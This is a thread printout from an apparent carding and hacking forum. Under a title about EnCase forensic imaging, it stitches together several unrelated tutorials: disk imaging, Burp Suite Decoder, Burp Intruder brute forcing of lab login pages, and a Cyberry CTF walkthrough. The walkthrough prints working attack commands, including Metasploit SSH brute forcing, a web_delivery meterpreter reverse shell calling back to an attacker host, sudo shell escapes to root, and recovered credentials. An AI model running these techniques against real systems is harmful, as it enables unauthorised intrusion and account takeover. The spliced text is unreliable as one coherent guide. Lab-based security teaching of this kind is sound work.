[Guide] How to Forensic Imaging through Encase Imager

[Guide] How to Forensic Imaging through Encase Imager - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] How to Forensic Imaging through Encase Imager (/Thread-Guide-How-to-Forensic-Imaging-through-Encase-Imager)

[Guide] How to Forensic Imaging through Encase Imager - NINZA - 05-14-2020

Scenario: Mr. X is suspected to be involved in selling his company’s confidential data to the competitors, but without any evidence, no action could be taken against him. To get into reality and proof Mr. X guilty, the company has requested the forensic services and have come to know all the relevant data is present inside the desktop provided to him.
This article is about getting the forensic image of the digital evidence and restoring it to any other drive.
Since it is never advised to work with the original evidence because we may lose some relevant data accidentally, so we will create an image of the original evidence and work on it further. This way the original evidence is safe and the integrity and authenticity of the evidence could be proved through hash values.
This article is also very helpful if we need to back up the data safely.
To image the desktop we will use Encase Imager. First, download the Encase Imager from

[To see content please register here]

Open Encase Imager and Select Add local device option.
[Image: 2.png?w=687&ssl=1]

From the menu select all the options and uncheck “only show write blocked” as shown in the image and click next.
[Image: 3.png?w=687&ssl=1]

We can see all the physical drives, logical partitions, Cd Rom, RAM and process running on the system. We need to select what we need to image as our evidence, ideally, it is a good practice to select the physical drives which contains the logical partitions as we get the complete disk image through the physical drive. In certain case, we may select only a logical drive or RAM as required.
Select / Check the number of the evidence you want to image and click on finish.
[Image: 4.png?w=687&ssl=1]

The evidence you have selected will get listed in case more than one evidence is selected we will could have seen multiple evidence listed here.
[Image: 5.png?w=687&ssl=1]

Double Click on the evidence, we can see the contents present inside it and if we wish we can skip any part, file or folder from getting imaged at this stage.
[Image: 6.png?w=687&ssl=1]

Click on Acquire to proceed for the imaging. Now we need to enter the case related information, ie case number, output path, file format in which we want to generate the image
File format selected here is E01 as this is supported by multiple tools and is suitable for further analysis.
If we want to password protect/encrypt our image we can do this at this stage.
Note: It is ideal to store the image on any other external storage drive so that the storage space is not a constraint but for the sake of practical we are saving the image on the desktop at the following path “C:\Users\…..\Desktop\Evidence Image\1.E01”.
[Image: 7.png?w=687&ssl=1]

Click ok and image acquisition will start, you can check the status of image acquisition on the same window at the lower right corner along with the time remaining (refer below image).
[Image: 9.png?w=687&ssl=1]

Once the acquisition is complete the image will get saved to the output folder (refer below image).
[Image: 10.png?w=687&ssl=1]

To prove the authenticity of the evidence we can generate the Hash value of the evidence
To generate the hash value of the image click on the evidence and select hash as shown in the image below.
[Image: 11.png?w=687&ssl=1]

Once the hashing process is complete click on the report section on the lower pane
[Image: 12.png?w=687&ssl=1]

Right, Click and select Copy to copy the report and paste in a word /text document.
[Image: 13.png?w=687&ssl=1]

Save the report along with the Image (E01) files. This report contains all the relevant details along with the detailed report containing the hash values.
[Image: 14.png?w=687&ssl=1]

The Evidence acquisition is complete
Restoring the Evidence Image
We are done with imaging of the disk/evidence. Now we will restore this acquired image to the drive. To start with open Encase Imager and add the evidence to Encase imager
[Image: 15.png?w=687&ssl=1]

Browse to the image (.E01) file and add it to the case. The evidence added will get listed
[Image: 16.png?w=687&ssl=1]

Double click on the image, select he files to be restored and select the restore option located under Device option.
[Image: 17.png?w=687&ssl=1]

When we click on restore, connect the drive where we want to restore the image and click next
[Image: 18.png?w=687&ssl=1]

All the drives will be read
[Image: 19.png?w=687&ssl=1]

All the drives will be displayed, select the drive where the image is to be restored. Use the blank drive for restoring the image as the existing data will be wiped.
[Image: 20.png?w=687&ssl=1]

‘
If required we can verify the Hash values and click on finish.
[Image: 21.png?w=687&ssl=1]

Type “Yes” in the text box and click on OK this will wipe the existing data on the drive and start with the image restoration.
[Image: 22.png?w=687&ssl=1]

Image Restoration will start, we can check the progress on the lower right corner of the window.
[Image: 23.png?w=687&ssl=1]

Once the restoration is complete, we can see the data in the drive we have selected.
[Image: 24.png?w=687&ssl=1]

To ensure the integrity of the data, we can see the report section on the bottom pane and check the hash values. The hash values should be the same as of the image (we can check the original hash value in the image report.)
[Image: 25.png?w=687&ssl=1]

If required we can copy and save the report in any text / word file for any future reference.

Burpsuite Decoder can be said as a tool which is used for transforming encoded data into its real form, or for transforming raw data into various encoded and hashed forms. This tool is capable of recognizing several encoding formats using defined techniques. Encoding is the process of putting a sequence of character’s (letters, numbers, punctuation, and symbols) into a specialized format which is used for efficient transmission or storage. Decoding is the opposite process of encoding the conversion of an encoded format back into the original format. Encoding and decoding can be used in data communications, networking, and storage.
Today we are discussing the Decoder Option of ‘Burp Suite’. Burp Suite is a tool which is used for testing Web application security. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities. This tool is written in JAVA and is developed by PortSwigger Security.
There are 9 types of decoder format in Burp Suite:

Plain text
URL
HTML
Base64
ASCII Hex
Hex
Octal
Binary
Gzip

URL Encoder & Decoder
When you will explore decoder option in burp suite you will observe two sections left and right. The left section is further divided into two and three sections for encoding and decode option respectively. The right section contains the function tab for encoding and decodes option. And if you will observe given below image you can notice there are two radio buttons for selecting the type of content you want to encode or decode.
Enable the radio button for text option and then we can give any input in the box to be encoded, here we have given Raj chandel as an input as shown in the image. After that click on the Encoded as an option and select URL field from given list as shown in the image. We will get the encoded result in URL format in the second box as shown in the image.
[Image: 3.png?w=687&ssl=1]

We can directly decode the Encoded URL Text by clicking on the Decoded as an option and selecting the URL field from the given list of options as shown in the image. This will decode the encoded URL text into plain text in the third box as shown in the image.
[Image: 4.png?w=687&ssl=1]

HTML Encoder & Decoder
Repeat the same and give any input in the first box to be encoded, here we have given Raj chandel as an input as shown in the image. After that click on the Encoded as an option and select HTML field as shown in the image. We will get the encoded result in HTML format in the second box as shown in the image.
[Image: 5.png?w=687&ssl=1]

We can directly decode the Encoded HTML Text by clicking on the Decoded as an option and selecting the HTML field as shown in the image. This will decode the encoded HTML text into plain text in the third box as shown in the image.
[Image: 6.png?w=687&ssl=1]

Base64 Encoder & Decoder
Repeat the same process and give any input in the first box to be encoded, here we have given Raj chandel as an input as shown in the image. After that click on the Encoded as an option and select Base64 field as shown in the image. We will get the encoded result in Base64 format in the second box as shown in the image.
[Image: 7.png?w=687&ssl=1]

We can directly decode the Encoded Base64 Text by clicking on the Decoded as an option and selecting the Base64 field as shown in the image. This will decode the encoded Base64 text into plain text in the third box as shown in the image.
[Image: 8.png?w=687&ssl=1]

ASCII Hex Encoder & Decoder
Again repeat the same process and give any input in the first box to be encoded, here we have given Raj chandel as an input as shown in the image. After that click on the Encoded as an option and select ASCII Hex field as shown in the image. We will get the encoded result in ASCII Hex format in the second box as shown in the image.
[Image: 9.png?w=687&ssl=1]

We can directly decode the Encoded ASCII Hex Text by clicking on the Decoded as the option and selecting ASCII Hex field as shown in the image. This will decode the encoded ASCII Hex text into plain text in the third box as shown in the image.
[Image: 10.png?w=687&ssl=1]

Hex Encoder & Decoder
Repeat same as above and give any input in the first box to be encoded, here we have given Raj chandel 123456789 as an input as shown in the image. After that click on the Encoded as the option and select Hex option as shown in the image. We will get the encoded result in Hex format in the second box as shown in the image.
[Image: 11.png?w=687&ssl=1]

We can directly decode the Encoded Hex Text by clicking on the Decoded as the option and selecting the Hex field as shown in the image. This will decode the encoded Hex text into plain text in the third box as shown in the image.
[Image: 12.png?w=687&ssl=1]

Octal Encoder & Decoder
Repeat again and give any input in the first box to be encoded, here we have given Raj chandel 123456789 as an input as shown in the image. After that click on the Encoded as an option and select Octal field as shown in the image. We will get the encoded result in Octal format in the second box as shown in the image.
[Image: 13.png?w=687&ssl=1]

We can directly decode the Encoded Octal Text by clicking on the Decoded as the option and selecting the Octal field as shown in the image. This will decode the encoded Octal text into plain text in the third box as shown in the image.
[Image: 14.png?w=687&ssl=1]

Binary Encoder & Decoder
Repeat the same and give any input in the first box to be encoded, here we have given Raj chandel 123456789 as an input as shown in the image. After that click on the Encoded as an option and select Binary field as shown in the image. We will get the encoded result in Binary format in the second box as shown in the image.
[Image: 15.png?w=687&ssl=1]

We can directly decode the Encoded Binary Text by clicking on the Decoded as an option and selecting the Binary field as shown in the image. This will decode the encoded Binary text into plain text in the third box as shown in the image.
[Image: 16.png?w=687&ssl=1]

Gzip Encoder & Decoder
Give any input in the first box to be encoded, here we have given Raj chandel as an input as shown in the image. After that click on the Encoded as an option and select Gzip field as shown in the image. We will get the encoded result in Gzip format in the second box as shown in the image.
[Image: 17.png?w=687&ssl=1]

We can directly decode the Encoded Gzip Text by clicking on the Decoded as an option and selecting the Gzip field as shown in the image. This will decode the encoded Gzip text into plain text in the third box as shown in the image.
[Image: 18.png?w=687&ssl=1]

Hello friends!! Today we are discussing about the “Types of Payload in Burp Suite”. Burp Suite is an application which is used for testing Web application security. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities. This tool is written in JAVA and is developed by PortSwigger Security. We are going to use the Intruder feature of Burp Suite, it is used to brute force web applications. There are 18 types of payloads in intruder i.e.

Simple list
Runtime File
Case Modification
Numbers
Character substitution
Custom iterator
Recursive grep
Illegal Unicode
Character blocks
Dates
Brute Forcer
Null Payloads
Character frober
Bit Flipper
Username generator
ECB block shuffler
Extension Generated
Copy other payload

Simple List
This is one of the simple types of payload, as it allows you to configure a short Dictionary of strings which are used as payload.
First, we intercept the request of the login page in the DVWA LAB, where we have given a random username and password. Then click on login, the burp suite will capture the request of the login page.
[Image: 6.png?w=687&ssl=1]

Send the captured request to the Intruder by clicking on the Action Tab and follow given below step. Now open the Intruder tab then select positions and you can observe the highlighted username and password and follow the given below step for selecting payload position.

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack which is the username and password and click on Add button.
Choose the Attack type as Cluster Bomb.
In the given below image we have selected username and password that means we will need two dictionary files i.e. one for username and second for password.

So now, go to Payloads tab and the select 1 from Payload set (this ‘1’ denotes the first file to be selected). Then click on Load button and select your dictionary file for username.
[Image: 8.png?w=687&ssl=1]

Now select 2 in the Payload set and again give the dictionary file for the password. Select Start Attack in the Intruder menu as shown in the image.
[Image: 9.png?w=687&ssl=1]

Now the burp suite will do its work, match the valid combination of username and password and will give you the correct password and username. The moment it will find the correct value, it will change the value of length as shown.
[Image: 10.png?w=687&ssl=1]

And to confirm the username and password matched, we will give the matched username and password in the DVWA LAB login page. We will see a message “Welcome to the password protected area admin” which shows are success in the simple list payload attack.
[Image: 11.png?w=687&ssl=1]

Runtime File
This type of payload allows you to configure a file which reads the payload strings at runtime. This type of payload is needed when we require a large list of payloads, to avoid holding the entire list in memory. This payload allows you to configure large list of strings which overcomes the simple list payload type.
First, we have intercepted the request of the login page in the DVWA LAB, where we have given a random username and a random password. Then click on login, the burp suite will capture the request of the login page in the intercept tab.
[Image: 12.png?w=687&ssl=1]

Send the captured request to the Intruder and follow given below step. Now open the Intruder tab then select positions and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as
In the given below image we have selected password that means we will need one dictionary file for password.

Then select the “Payload type” as Runtime File and then give the path of dictionary in the “payload options” as /usr/share/wordists/rockyou.txt which is the largest dictionary in Kali Linux. Select Start Attack in the Intruder menu.
[Image: 14.png?w=687&ssl=1]

Now the burp suite will do its work, match the password and will give you the correct password. The moment it will find the correct value, it will change the value of length as shown.
[Image: 15.png?w=687&ssl=1]

Case Modification
This type of payload allows you to configure a list of strings and apply various case modifications to each item on the list. This is useful in password guessing attacks, for generating case variations on dictionary words.
The following case modification rules can be selected:

No change – The item is used without being modified.
To lower case – All letters in the item are converted to lower case.
To upper case – All letters in the item are converted to upper case.
To Proper name – The first letter in the item is converted to upper case, and the remaining letters are converted to lower case.
To Proper Name – The first letter in the item is converted to upper case, and the remaining letters are not changed.

For example, if we select all the modification options, then the item “Raj Chandel” will generate the following payloads:
Raj Chandel
raj chandel
RAJ CHANDEL
Raj chandel
First, we intercept the request of the login page in the DVWA LAB, where we have given a random username and a random password. Then click on login , the burp suite will capture the request of the login page in the intercept tab. Send the captured request to the Intruder by right clicking on the space and selecting Send to Intruder option or simply press ctrl + i.
[Image: 17.png?w=687&ssl=1]

Now open the Intruder tab then select positions and you can observe the highlighted password and follow the given below step for selecting payload position.

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as
In the given below image we have selected password that means we will need one dictionary file for password.

Then select the “Payload” type as Case Modification, we have selected the No change and to lower case fields in the “payload options” of the case modification as shown in the image. We have added a default Password dictionary from the Add from list field in the payload options. Select Start Attack in the Intruder menu as shown in the image.
[Image: 19.png?w=687&ssl=1]

Numbers
This type of payload generates numeric payloads within a given range and in a specified format.
The following options are available in this payload:

Number range:

Type – the type options describes that the numbers should be generated sequentially or randomly.
From – If numbers are being generated sequentially, this is the value of the first number that will be generated.
To – If numbers are being generated sequentially, this value of the last number that will be generated. It is said as the highest possible number that may be randomly generated.
Step – the step option is used when numbers are being generated sequentially and specifies the increment in the successive numbers.
How many – This option is available when numbers are being generated randomly, and specifies the number of payloads that will be generated

First, we intercept the request of the login page in the Bwapp Lab, where we have given a random username and a random password. Then click on login, the burp suite will capture the request of the login page.
[Image: 22.png?w=687&ssl=1]

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as
In the given below image we have selected password that means we will need one dictionary file for password.

Then select the Payload type as Numbers where we have set the number range from 100 to 150 and we have set the step as 1 as shown in the image, select Start Attack in the Intruder menu.
[Image: 24.png?w=687&ssl=1]

As the password matches with a number which is between the given number range. And to confirm the password matched, we will give the password in the Bwapp LAB login page, which will successfully log us into the Bwapp lab. This shows our success in the attack.
[Image: 26.1.png?w=687&ssl=1]

Brute Forcer
This type of payload generates a payload of specified lengths that contain all permutations of list of characters in the given string.
The following options are available:

Character set – The set of characters to be used in the payloads. Note that the total number of payloads increases exponentially with the size of this set.
Min length – The length of the shortest payload.

Max length – The length of the longest payload.

First, we intercept the request of the login page in the Bwapp LAB, where we have given a random username and a random password. Then click on login, the burp suite will capture the request of the login page.
[Image: 26.png?w=687&ssl=1]

Press on the Clear button given at right of window frame.
Now we will select the fields where we want to attack and i.e. the password filed and click on Add button.
Choose the Attack type as
In the given below image we have selected password that means we will need one dictionary file for password.

Then select the “Payload type” as Brute Forcer where we can give any kind of input into the “character set” as shown in the figure , as we have given 213 and we have set the Min length as 3 and Max length as 3 as shown in the image. We can manually give the Min length and Max length as per your need. Select Start Attack in the Intruder menu as shown in the image.
[Image: 28.png?w=687&ssl=1]

Great!! We have used Top 5 payloads of Burpsuite for login page brute force attack successfully.
Note: In this articles (part-1) we will be performing top 5 payload types and the rest of the payload types will be discussed in the (part-2) of this article.

Hello friends! Today we are going to take another CTF challenge known as Cyberry: 1. the credit for making this vm machine goes to “Cyberry” and it is another boot2root challenge where we have to root the server to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.18 but you will have to find your own)
netdiscover
[Image: 1.png?w=687&ssl=1]

Use nmap for port enumeration
nmap -sV 192.168.0.18
[Image: 2.png?w=687&ssl=1]

Nmap scan shows us port 80 is open, so we open ip address in our browser.
[Image: 3.png?w=687&ssl=1]

We don’t find anything on the webpage we use nikto to find more information.
nikto -h

[To see content please register here]

Nikto scan shows us the login page. We open

[To see content please register here]

on our browser.
[Image: 5.1.png?w=687&ssl=1]

We don’t find anything on the login page but a link to the main site

[To see content please register here]

While going through the links on the page. I found an image called placeho1der.jpg
[Image: 6.png?w=687&ssl=1]

We convert it from negative image into normal image. And we find it was a picture of 4 artists Smiley Lewis, Dave Edmunds, Fats Domino and Gale Storm.
[Image: 7.png?w=687&ssl=1]

On further research I found that they all sang the same song “I hear you knocking”. From the name of the song and the port image, I concluded it had something to do with port knocking. So I used the release date of the song as the port.
knock 192.168.0.18 1970 1955 1955 1961

After port knocking we did a nmap scan to check if any port is open and we find that port 61955 opened after port knocking
nmap -p- 192.168.0.18
[Image: 10.png?w=687&ssl=1]

We try netcat but are showed nothing so we open it in our browser; we find that it is running the same website on a different port.
[Image: 11.png?w=687&ssl=1]

We use dirb to check if there are any different directories on this port.
dirb

[To see content please register here]

We find a new directory

[To see content please register here]

, we open it and find brain-fuck encoded strings.
[Image: 13.png?w=687&ssl=1]

We use an online tool to decode the string 1 by 1 and we found a list of username and password. We save the username in one text file and the password in another.
[Image: 14.png?w=687&ssl=1]

Now we try to brute force ssh using these credentials. We use metasploit to brute force ssh.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.0.18
msf auxiliary(ssh_login) > set user_file /root/user.txt
msf auxiliary(ssh_login) > set pass_file /root/pass.txt
msf auxiliary(ssh_login) > run
[Image: 15.png?w=687&ssl=1]

We find that the username is mary and password is bakeoff, but we cannot connect through ssh using these credentials. So we use these to login through ftp.
ftp 192.168.0.18
[Image: 16.png?w=687&ssl=1]

After login through ftp we go inside .bash_history directory there we find 2 files.
[Image: 17.png?w=687&ssl=1]

We download it into our system and rename them.
get .reminder.enc /root/reminder
get .trash /root/trash
[Image: 18.png?w=687&ssl=1]

We check the file type and find that reminder is encrypted and trash contains password to decrypt it.
file reminder
file trash
cat trash
[Image: 19.png?w=687&ssl=1]

Now we use openssl to decrypt it. We create shell code to decrypt it as there are multiple passwords to be used and multiple types of encryption. We save it in files with name format as decrypted{encryption}{password}.
for i in ‘openssl enc -ciphers | tail -n +2’ ; do for j in ‘cat trash’; do openssl ${i:1} -d -salt -md md5 -in reminder -out “decrypted$i$j” -k $j; done;done 2>/dev/null
[Image: 20.1.png?w=687&ssl=1]

Now we check the decrypted files which contain ascii text.
file * | grep ASCII
[Image: 20.2.png?w=687&ssl=1]

We open the file that contains ASCII text and find it contains a password.
[Image: 20.3.png?w=687&ssl=1]

We use this password to login at

[To see content please register here]

. We use the username we used earlier to brute force ssh and find the username to be mary.
Now once we login we find a link to page.
[Image: 20.png?w=687&ssl=1]

When we open the link we find a page that does DNS lookup, it looks like it may be vulnerable to command injection.
[Image: 21.png?w=687&ssl=1]

Now we metasploit to exploit command injection using web_delivery.
msf > use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.0.12
msf exploit(multi/script/web_delivery) > set lport 4444
msf exploit(multi/script/web_delivery) > run
[Image: 23.png?w=687&ssl=1]

We use burpsuite to capture the request and execute the command given by metasploit to execute our shell.
[Image: 22.png?w=687&ssl=1]

Now we use generate a python tty shell.
python -c “import pty; pty.spawn(‘/bin/bash’)”
we find a few files, when we open nb-latin we find it contains a few password.
[Image: 25.png?w=687&ssl=1]

We download the ‘nb-latin’ file to use it to bruteforce ssh using the username we found earlier.
[Image: 26.png?w=687&ssl=1]

We use metasploit to bruteforce ssh using the new password file we found.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.18
msf auxiliary(scanner/ssh/ssh_login) > set user_file user.txt
msf auxiliary(scanner/ssh/ssh_login) > set pass_file nb-latin
msf auxiliary(scanner/ssh/ssh_login) > run
[Image: 27.png?w=687&ssl=1]

We find the password to be custodio for nick. Now once we login through ssh we check the sudoers list and there are 2 files we can a user terry.
[Image: 28.png?w=687&ssl=1]

When we run invoke.sh we find it asks for program as arguments. So we try to run /bin/bash along with the shell script.
sudo -u terry /home/nick/invoke.sh /bin/bash
[Image: 29.png?w=687&ssl=1]

Now we are login as terry, we again check the sudoers list. We find that we can run awk as user halle. So we spawn a shell using awk as user halle.
sudo -u halle awk ‘BEGIN {system(“/bin/bash -I”)}’
[Image: 30.png?w=687&ssl=1]

As soon as we spawn a shell we login as halle. We again check sudoers list and find we can run php as user chuck. When we spawn a tty shell using chuck it crashes. So we create a php file to enumerate directories. We find a directory called .deleted/
echo <?php(‘ls /home/chuck/’)?>” > /tmp/shell.php
sudo -u chuck php /tmp/shell.php
[Image: 31.png?w=687&ssl=1]

When we go inside .deleted folder we find a file deleted.
echo <?php(‘ls /home/chuck/.deleted/’)?>” > /tmp/shell.php
sudo -u chuck php /tmp/shell.php
[Image: 33.png?w=687&ssl=1]

Now we create a php file to open the file called deleted.
echo <?php(‘cat /home/chuck/.deleted/deleted’)?>” > /tmp/shell.php
sudo -u chuck php /tmp/shell.php
[Image: 33.png?w=687&ssl=1]

Once we open the file we get a hint to create a password in which ‘e’ is used thrice, [c,r,b,a] are used twice and [h,w,m,y] are used once that makes the password 15 characters long. Also the password starts with che and ends with rry and contains baca in between.
[Image: 34.png?w=687&ssl=1]

We use crunch to create dictionaries with che at start and rry at end with baca at different positions.
[Image: 35.png?w=687&ssl=1]

We then merge the all dictionaries into one using dymerge.
[Image: 36.png?w=687&ssl=1]

We add root to the dictionary we used first to brute-force ssh.
[Image: 37.png?w=687&ssl=1]

Now we use metasploit to bruteforce ssh using the the new dictionaries.
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.18
msf auxiliary(scanner/ssh/ssh_login) > set user_file user.txt
msf auxiliary(scanner/ssh/ssh_login) > set pass_file password.txt
msf auxiliary(scanner/ssh/ssh_login) > run
[Image: 38.png?w=687&ssl=1]

Now we find the username as ‘root’ and password to be ‘chewbacabemerry’. Now we take the session and we are login as root.
[Image: 39.png?w=687&ssl=1]